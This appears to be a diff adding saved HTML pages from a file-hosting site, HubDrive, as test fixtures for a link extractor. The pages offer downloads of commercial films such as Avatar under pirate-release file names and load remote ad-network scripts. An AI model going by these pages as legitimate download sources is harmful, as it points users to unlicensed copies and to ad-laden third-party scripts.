to { opacity: 0; }
|
||||||
|
}
|
||||||
|
.sidebar .sidebar-brand {
|
||||||
|
font-size: .65rem;
|
||||||
|
}
|
||||||
|
.sidebar .nav-item .nav-link span {
|
||||||
|
color: #fff !important;
|
||||||
|
}
|
||||||
|
.sidebar .sidebar-brand i {
|
||||||
|
color: #fff !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-white {
|
||||||
|
background-color: #171717!important;
|
||||||
|
}
|
||||||
|
.container, .container-fluid {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
.card-header {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
#wrapper #content-wrapper #content {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
#wrapper #content-wrapper {
|
||||||
|
background-color: transparent !important;
|
||||||
|
}
|
||||||
|
.text-primary {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
.card-body {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background-color: transparent;
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.table {
|
||||||
|
color: rgb(217, 217, 217);
|
||||||
|
}
|
||||||
|
.bg-gradient-primary {
|
||||||
|
background-image: linear-gradient(180deg,rgb(0, 28, 67)10%,rgb(0, 28, 67) 100%);
|
||||||
|
}
|
||||||
|
.nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link {
|
||||||
|
color: rgb(130, 182, 255);
|
||||||
|
background-color: rgb(0, 28, 67);
|
||||||
|
}
|
||||||
|
footer.sticky-footer {
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.navbar {
|
||||||
|
border-bottom: 2px solid hsl(213deg 69.03% 35.03% / 68%);
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
.btn-primary {
|
||||||
|
background-color: rgb(0 63 151);
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
.text-gray-800 {
|
||||||
|
color: rgb(130, 182, 255);
|
||||||
|
}
|
||||||
|
.card-file{
|
||||||
|
color: rgb(217, 217, 217);
|
||||||
|
}
|
||||||
|
.h5 {
|
||||||
|
color:rgb(130, 182, 255) !Important;
|
||||||
|
}
|
||||||
|
hr {
|
||||||
|
border: 1px solid rgb(255 255 255 / 23%);
|
||||||
|
}
|
||||||
|
.text-gray-400 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-500 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-600 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-700 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-800 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-900 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
.dropdown-menu {
|
||||||
|
background-color: #171717;
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.form-control {
|
||||||
|
background-color: rgb(239 239 239);
|
||||||
|
}
|
||||||
|
body {
|
||||||
|
background-color: #171717;
|
||||||
|
}
|
||||||
|
.btn-info {
|
||||||
|
border-radius: 0.25rem !important;
|
||||||
|
background-color: #1a73e8 !important;
|
||||||
|
border-color: #1a73e8 !important;
|
||||||
|
}
|
||||||
|
.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active, .show > .btn-info.dropdown-toggle {
|
||||||
|
background-color: #093d94 !important;
|
||||||
|
|
||||||
|
}
|
||||||
|
.btn-info:hover {
|
||||||
|
background-color: #093d94 !important;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-8QTNRD0R4M"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
|
||||||
|
gtag('config', 'G-8QTNRD0R4M');
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<body id="page-top">
|
||||||
|
|
||||||
|
<!-- Page Wrapper -->
|
||||||
|
<div id="wrapper">
|
||||||
|
<!-- Sidebar -->
|
||||||
|
<ul class="navbar-nav bg-gradient-primary sidebar sidebar-dark accordion toggled" id="accordionSidebar">
|
||||||
|
<!-- Sidebar - Brand -->
|
||||||
|
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="https://hubdrive.space">
|
||||||
|
<div class="sidebar-brand-icon rotate-n-15">
|
||||||
|
<i class="fas fa-laugh-wink"></i>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-brand-text mx-3">HubDrive</div>
|
||||||
|
</a>
|
||||||
|
<!-- Divider -->
|
||||||
|
|
||||||
|
<hr class="sidebar-divider my-0">
|
||||||
|
<!-- Nav Item - Dashboard -->
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/sign">
|
||||||
|
<i class="fas fa-fw fa-sign-in-alt"></i>
|
||||||
|
<span>Login</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/privacy-policy">
|
||||||
|
<i class="fas fa-fw fa-user-secret"></i>
|
||||||
|
<span>Privacy Policy</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/terms-conditions">
|
||||||
|
<i class="fas fa-fw fa-align-justify"></i>
|
||||||
|
<span>Terms & Conditions</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/copyright-policy">
|
||||||
|
<i class="fas fa-fw fa-copyright"></i>
|
||||||
|
<span>Copyright Policy</span></a>
|
||||||
|
</li>
|
||||||
|
<!-- Divider -->
|
||||||
|
<hr class="sidebar-divider d-none d-md-block">
|
||||||
|
<!-- Sidebar Toggler (Sidebar) -->
|
||||||
|
<div class="text-center d-none d-md-inline">
|
||||||
|
<button class="rounded-circle border-0" id="sidebarToggle"></button>
|
||||||
|
</div>
|
||||||
|
</ul>
|
||||||
|
<!-- End of Sidebar -->
|
||||||
|
<!-- Content Wrapper -->
|
||||||
|
<div id="content-wrapper" class="d-flex flex-column">
|
||||||
|
<!-- Main Content -->
|
||||||
|
<div id="content">
|
||||||
|
<!-- Topbar -->
|
||||||
|
<nav class="navbar navbar-expand navbar-light bg-white topbar mb-4 static-top shadow">
|
||||||
|
<button id="sidebarToggleTop" class="btn btn-link d-md-none rounded-circle mr-3">
|
||||||
|
<i class="fa fa-bars"></i>
|
||||||
|
</button>
|
||||||
|
<ul class="navbar-nav ml-auto">
|
||||||
|
<div style="display: flex; justify-content: center; align-items: center;margin-right: -27rem;">
|
||||||
|
<a href="/" style="display: flex; align-items: center;text-decoration: none;">
|
||||||
|
<i class="fab fa-artstation" style="font-size: 50px; color: #5090F0;"></i>
|
||||||
|
<img class="img-profile" src="https://catimages.org/images/2024/04/23/1b1be1f6932ecf270.png" style="width: 25%; filter: invert(1); margin-left: 5px;">
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div class="topbar-divider d-none d-sm-block" style="margin-left: -2px;"></div>
|
||||||
|
</ul>
|
||||||
|
</nav> <style>
|
||||||
|
.btn.btn-primary.btn-user1 {
|
||||||
|
background-color: #a10dff;
|
||||||
|
border-color: #ba50fd;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #b542ff;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:not(:disabled):not(.disabled):active, .btn-primary.btn-user1:not(:disabled):not(.disabled).active, .show > .btn-primary.btn-user1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #8102d1;
|
||||||
|
border-color:#ba50fd;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:focus, .btn-primary.btn-user1.focus {
|
||||||
|
box-shadow: 0 0 0 .25rem rgba(151, 51, 215, .5);
|
||||||
|
}
|
||||||
|
.nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link {
|
||||||
|
color: rgb(255 255 255);
|
||||||
|
background-color: rgb(13 60 125);
|
||||||
|
border-color: rgb(13 60 125);
|
||||||
|
}
|
||||||
|
.nav-tabs {
|
||||||
|
border-bottom: rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<!-- http://caniuse.com/#feat=referrer-policy -->
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<meta name="referrer" content="no-referrer" />
|
||||||
|
<!-- For Edge and Safari -->
|
||||||
|
<meta name="referrer" content="none" />
|
||||||
|
<script>(function(s){s.dataset.zone='9824726',s.src='https://llvpn.com/tag.min.js'})([document.documentElement, document.body].filter(Boolean).pop().appendChild(document.createElement('script')))</script>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div id="down-id" hidden="true">2243124026</div>
|
||||||
|
<!-- Content Row -->
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<div class="col-lg-9 col-md-9 mb-4">
|
||||||
|
<div class="card shadow mb-4">
|
||||||
|
|
||||||
|
<div class="card-header py-3" style="line-break: auto; word-break: break-all; white-space: normal;">
|
||||||
|
<h6 class="m-0 font-weight-bold text-primary" align="center" style="font-size: 1.2rem;">Back.to.the.Future.Part.III.1990.1080p.BluRay.Hindi.English.DD.5.1.x264.ESubs.Untouched.mkv</h6>
|
||||||
|
</div>
|
||||||
|
<div class="card-body">
|
||||||
|
<div class="table-responsive">
|
||||||
|
<table class="table table-borderless" id="dataTable" width="100%" cellspacing="0" style="line-break: auto; word-break: initial; white-space: initial;">
|
||||||
|
<tbody>
|
||||||
|
<tr style="border-bottom: 2px solid rgb(63 63 63); line-height: 1.8em;">
|
||||||
|
<td>File Size</td>
|
||||||
|
<td align="right">3.77 GB</td>
|
||||||
|
</tr>
|
||||||
|
<tr style="border-bottom: 2px solid rgb(63 63 63); line-height: 1.8em;">
|
||||||
|
<td>File Type</td>
|
||||||
|
<td align="right">video/x-matroska</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>File Owner</td>
|
||||||
|
<td align="right">dhub 2</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="text" align="center">
|
||||||
|
<form action="/gsign.php" method="GET">
|
||||||
|
<input name="r" value="https://hubdrive.space/file/2243124026" type="hidden">
|
||||||
|
<button class="btn btn-primary btn-user" type="submit"><i class="fa fa-sign-in fa-lg"></i> GDrive [Login]</button>
|
||||||
|
<!--button class="btn btn-primary btn-user" type="submit"><i class="fa fa-sign-in fa-lg"></i> Download [3.77 GB] [Login]</button-->
|
||||||
|
</form>
|
||||||
|
<div>
|
||||||
|
<button onclick="myDirectDownload()" id="dl-down" type="button" class="btn btn-primary btn-user1" style="margin:10px;"><i class="fas fa-file-download fa-lg"></i> Direct/Instant Download</button>
|
||||||
|
<div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="text" align="left">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" href="#" onclick="copyLink()" role="tab" data-toggle="tab"><i class="fa fa-copy"></i> Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<!-- Tab panes -->
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body">
|
||||||
|
<p id="copyText" style="text-align:left; color:rgb(116 174 255);">https://hubdrive.space/file/2243124026</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copyLink() {
|
||||||
|
var copyText = document.getElementById("copyText");
|
||||||
|
var textArea = document.createElement("textarea");
|
||||||
|
textArea.value = copyText.textContent;
|
||||||
|
document.body.appendChild(textArea);
|
||||||
|
textArea.select();
|
||||||
|
document.execCommand("copy");
|
||||||
|
document.body.removeChild(textArea);
|
||||||
|
|
||||||
|
Swal.fire({
|
||||||
|
title: "Link Copied",
|
||||||
|
icon: "success",
|
||||||
|
showConfirmButton: false,
|
||||||
|
timer: 1500
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- /.container-fluid -->
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<noscript>
|
||||||
|
alert("please enable JavaScript in your browser");
|
||||||
|
</noscript>
|
||||||
|
<script>
|
||||||
|
function myDownloadV2() {
|
||||||
|
var e = document.getElementById("down-id").innerHTML;
|
||||||
|
document.getElementById("down").innerHTML = '<i class="fa fa-spinner fa-spin"></i> Downloading.. !',
|
||||||
|
document.getElementById("down").disabled = !0;
|
||||||
|
var b = window.setTimeout(function() {
|
||||||
|
document.getElementById("down").innerHTML = '<i class="fa fa-cog fa-spin fa-lg"></i> Generating Link.. !'
|
||||||
|
}, 6e3);
|
||||||
|
|
||||||
|
window.setTimeout(function() {
|
||||||
|
$.ajax({
|
||||||
|
url: "/ajax.php?ajax=download",
|
||||||
|
type: "POST",
|
||||||
|
dataType: "json",
|
||||||
|
data: "id=" + e,
|
||||||
|
success: function(a) {
|
||||||
|
if ("200" == a.code) {
|
||||||
|
window.clearTimeout(b);
|
||||||
|
localStorage.setItem("dls", JSON.stringify(a?.data));
|
||||||
|
// window.location.href = a.file;
|
||||||
|
window.location.href = "/newdl";
|
||||||
|
|
||||||
|
} else swal.fire("Code : " + a.code, "Message : " + a.file, "error");
|
||||||
|
},
|
||||||
|
error: function(e, a, t) {
|
||||||
|
alert("Status: " + a + "\n" + t)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}, 5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
function myDirectDownload() {
|
||||||
|
var a = document.getElementById("down-id").innerHTML;
|
||||||
|
document.getElementById("dl-down").innerHTML = '<i class="fa fa-spinner fa-spin"></i> Generating Link ...';
|
||||||
|
document.getElementById("dl-down").disabled = !0;
|
||||||
|
|
||||||
|
var b = window.setTimeout(function() {
|
||||||
|
document.getElementById("dl-down").innerHTML = '<i class="fa fa-cog fa-spin fa-lg"></i>Downloading .. !';
|
||||||
|
}, 6e3);
|
||||||
|
|
||||||
|
window.setTimeout(function() {
|
||||||
|
$.ajax({
|
||||||
|
url: "/ajax.php?ajax=direct-download",
|
||||||
|
type: "POST",
|
||||||
|
dataType: "json",
|
||||||
|
data: "id=" + a,
|
||||||
|
success: function(a) {
|
||||||
|
if ("200" == a.code) {
|
||||||
|
window.clearTimeout(b);
|
||||||
|
localStorage.setItem("dls", JSON.stringify(a?.data));
|
||||||
|
// window.location.href = a.file;
|
||||||
|
window.location.href = "/newdl";
|
||||||
|
|
||||||
|
} else swal.fire("Code : " + a.code, "Message : " + a.file, "error");
|
||||||
|
},
|
||||||
|
error: function(a, b, c) {
|
||||||
|
alert("Status: " + b + "\n" + c);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}, 5000)
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<main class="min-h-screen flex flex-col" >
|
||||||
|
<header class="container mx-auto px-4 py-4 lg:text-center lg:flex lg:items-center lg:justify-between">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||||
|
<script src='https://kit.fontawesome.com/a076d05399.js' crossorigin='anonymous'></script>
|
||||||
|
<!--
|
||||||
|
<footer class="sticky-footer bg-white">
|
||||||
|
<div class="container my-auto">
|
||||||
|
<div class="copyright text-center my-auto">
|
||||||
|
<span>Copyright © HubDrive 2026</span>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="copyright text-center my-auto" style="font-size: 15px; font-weight: 600;">
|
||||||
|
<span><a href="/page/privacy-policy"><i class="fa fa-bullhorn text-danger"></i> Privacy Policy</a> | <a href="/page/terms-conditions"><i class="fa fa-book text-info"></i> Terms & Conditions</a> | <a href="/page/copyright-policy"><i class="fa fa-copyright text-warning"></i> Copyright Policy</a> | <a href="/page/contact-us"><i class="fa fa-envelope text-success"></i> Contact Us</a></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</footer>
|
||||||
|
-->
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<!-- End of Content Wrapper -->
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<!-- End of Page Wrapper -->
|
||||||
|
|
||||||
|
<!-- Scroll to Top Button-->
|
||||||
|
<a class="scroll-to-top rounded" href="#page-top">
|
||||||
|
<i class="fas fa-angle-up"></i>
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<!-- Logout Modal-->
|
||||||
|
<div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
|
||||||
|
<h5 class="modal-title" id="exampleModalLabel">Are you sure?</h5>
|
||||||
|
<button class="close" type="button" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button>
|
||||||
|
<a class="btn btn-primary" href="/login.php?action=logout">Logout</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Bootstrap core JavaScript-->
|
||||||
|
<script src="/assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Core plugin JavaScript-->
|
||||||
|
<script src="/assets/vendor/jquery-easing/jquery.easing.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Custom scripts for all pages-->
|
||||||
|
<script src="/assets/js/sb-admin-2.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Page level plugins -->
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
506
src/extractor/__fixtures__/HubDrive/https:hubdrive.spacefile7283903021
generated
Normal file
506
src/extractor/__fixtures__/HubDrive/https:hubdrive.spacefile7283903021
generated
Normal file
|
|
@ -0,0 +1,506 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta name='admaven-placement' content=BrHCGpjC9>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<meta name="referrer" content="no-referrer"/>
|
||||||
|
<meta name="referrer" content="none"/>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|
||||||
|
<meta property="og:image" content="/assets/img/favicon.png">
|
||||||
|
<meta property="og:type" content="website"/>
|
||||||
|
<meta name="author" content="HubDrive">
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<title>HubDrive | Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
|
||||||
|
<!-- Custom fonts for this template-->
|
||||||
|
<script src="https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js"></script>
|
||||||
|
<script src="https://unpkg.com/sweetalert@2.1.2/dist/sweetalert.min.js"></script>
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
|
||||||
|
<script async="async" type="text/javascript" src="/assets/js/neodrivev2.5.min.js?v=3"></script>
|
||||||
|
<script src="https://use.fontawesome.com/746f656c7a.js"></script>
|
||||||
|
<link href="/assets/vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
|
||||||
|
<link href="/assets/css/sb-admin-2.css" rel="stylesheet">
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||||
|
<link rel="icon" href="/assets/img/favicon.png">
|
||||||
|
<style>
|
||||||
|
h4, .h4 {
|
||||||
|
font-size: 1.4rem;
|
||||||
|
}
|
||||||
|
.table {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
#sticky-footer2 {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
.Blink {
|
||||||
|
animation: blinker 0.3s cubic-bezier(.5, 0, 1, 1) infinite alternate;
|
||||||
|
}
|
||||||
|
@keyframes blinker {
|
||||||
|
from { opacity: 1; }
|
||||||
|
to { opacity: 0; }
|
||||||
|
}
|
||||||
|
.sidebar .sidebar-brand {
|
||||||
|
font-size: .65rem;
|
||||||
|
}
|
||||||
|
.sidebar .nav-item .nav-link span {
|
||||||
|
color: #fff !important;
|
||||||
|
}
|
||||||
|
.sidebar .sidebar-brand i {
|
||||||
|
color: #fff !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-white {
|
||||||
|
background-color: #171717!important;
|
||||||
|
}
|
||||||
|
.container, .container-fluid {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
.card-header {
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
#wrapper #content-wrapper #content {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
#wrapper #content-wrapper {
|
||||||
|
background-color: transparent !important;
|
||||||
|
}
|
||||||
|
.text-primary {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
.card-body {
|
||||||
|
background-color: transparent !IMPORTANT;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background-color: transparent;
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.table {
|
||||||
|
color: rgb(217, 217, 217);
|
||||||
|
}
|
||||||
|
.bg-gradient-primary {
|
||||||
|
background-image: linear-gradient(180deg,rgb(0, 28, 67)10%,rgb(0, 28, 67) 100%);
|
||||||
|
}
|
||||||
|
.nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link {
|
||||||
|
color: rgb(130, 182, 255);
|
||||||
|
background-color: rgb(0, 28, 67);
|
||||||
|
}
|
||||||
|
footer.sticky-footer {
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.navbar {
|
||||||
|
border-bottom: 2px solid hsl(213deg 69.03% 35.03% / 68%);
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
.btn-primary {
|
||||||
|
background-color: rgb(0 63 151);
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
.text-gray-800 {
|
||||||
|
color: rgb(130, 182, 255);
|
||||||
|
}
|
||||||
|
.card-file{
|
||||||
|
color: rgb(217, 217, 217);
|
||||||
|
}
|
||||||
|
.h5 {
|
||||||
|
color:rgb(130, 182, 255) !Important;
|
||||||
|
}
|
||||||
|
hr {
|
||||||
|
border: 1px solid rgb(255 255 255 / 23%);
|
||||||
|
}
|
||||||
|
.text-gray-400 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-500 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-600 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-700 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-800 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-gray-900 {
|
||||||
|
color: rgb(130, 182, 255) !important;
|
||||||
|
}
|
||||||
|
.dropdown-menu {
|
||||||
|
background-color: #171717;
|
||||||
|
border: 2px solid rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
.form-control {
|
||||||
|
background-color: rgb(239 239 239);
|
||||||
|
}
|
||||||
|
body {
|
||||||
|
background-color: #171717;
|
||||||
|
}
|
||||||
|
.btn-info {
|
||||||
|
border-radius: 0.25rem !important;
|
||||||
|
background-color: #1a73e8 !important;
|
||||||
|
border-color: #1a73e8 !important;
|
||||||
|
}
|
||||||
|
.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active, .show > .btn-info.dropdown-toggle {
|
||||||
|
background-color: #093d94 !important;
|
||||||
|
|
||||||
|
}
|
||||||
|
.btn-info:hover {
|
||||||
|
background-color: #093d94 !important;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Google tag (gtag.js) -->
|
||||||
|
<script async src="https://www.googletagmanager.com/gtag/js?id=G-8QTNRD0R4M"></script>
|
||||||
|
<script>
|
||||||
|
window.dataLayer = window.dataLayer || [];
|
||||||
|
function gtag(){dataLayer.push(arguments);}
|
||||||
|
gtag('js', new Date());
|
||||||
|
|
||||||
|
gtag('config', 'G-8QTNRD0R4M');
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</head>
|
||||||
|
<body id="page-top">
|
||||||
|
|
||||||
|
<!-- Page Wrapper -->
|
||||||
|
<div id="wrapper">
|
||||||
|
<!-- Sidebar -->
|
||||||
|
<ul class="navbar-nav bg-gradient-primary sidebar sidebar-dark accordion toggled" id="accordionSidebar">
|
||||||
|
<!-- Sidebar - Brand -->
|
||||||
|
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="https://hubdrive.space">
|
||||||
|
<div class="sidebar-brand-icon rotate-n-15">
|
||||||
|
<i class="fas fa-laugh-wink"></i>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-brand-text mx-3">HubDrive</div>
|
||||||
|
</a>
|
||||||
|
<!-- Divider -->
|
||||||
|
|
||||||
|
<hr class="sidebar-divider my-0">
|
||||||
|
<!-- Nav Item - Dashboard -->
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/sign">
|
||||||
|
<i class="fas fa-fw fa-sign-in-alt"></i>
|
||||||
|
<span>Login</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/privacy-policy">
|
||||||
|
<i class="fas fa-fw fa-user-secret"></i>
|
||||||
|
<span>Privacy Policy</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/terms-conditions">
|
||||||
|
<i class="fas fa-fw fa-align-justify"></i>
|
||||||
|
<span>Terms & Conditions</span></a>
|
||||||
|
</li>
|
||||||
|
<li class="nav-item active">
|
||||||
|
<a class="nav-link" href="/page/copyright-policy">
|
||||||
|
<i class="fas fa-fw fa-copyright"></i>
|
||||||
|
<span>Copyright Policy</span></a>
|
||||||
|
</li>
|
||||||
|
<!-- Divider -->
|
||||||
|
<hr class="sidebar-divider d-none d-md-block">
|
||||||
|
<!-- Sidebar Toggler (Sidebar) -->
|
||||||
|
<div class="text-center d-none d-md-inline">
|
||||||
|
<button class="rounded-circle border-0" id="sidebarToggle"></button>
|
||||||
|
</div>
|
||||||
|
</ul>
|
||||||
|
<!-- End of Sidebar -->
|
||||||
|
<!-- Content Wrapper -->
|
||||||
|
<div id="content-wrapper" class="d-flex flex-column">
|
||||||
|
<!-- Main Content -->
|
||||||
|
<div id="content">
|
||||||
|
<!-- Topbar -->
|
||||||
|
<nav class="navbar navbar-expand navbar-light bg-white topbar mb-4 static-top shadow">
|
||||||
|
<button id="sidebarToggleTop" class="btn btn-link d-md-none rounded-circle mr-3">
|
||||||
|
<i class="fa fa-bars"></i>
|
||||||
|
</button>
|
||||||
|
<ul class="navbar-nav ml-auto">
|
||||||
|
<div style="display: flex; justify-content: center; align-items: center;margin-right: -27rem;">
|
||||||
|
<a href="/" style="display: flex; align-items: center;text-decoration: none;">
|
||||||
|
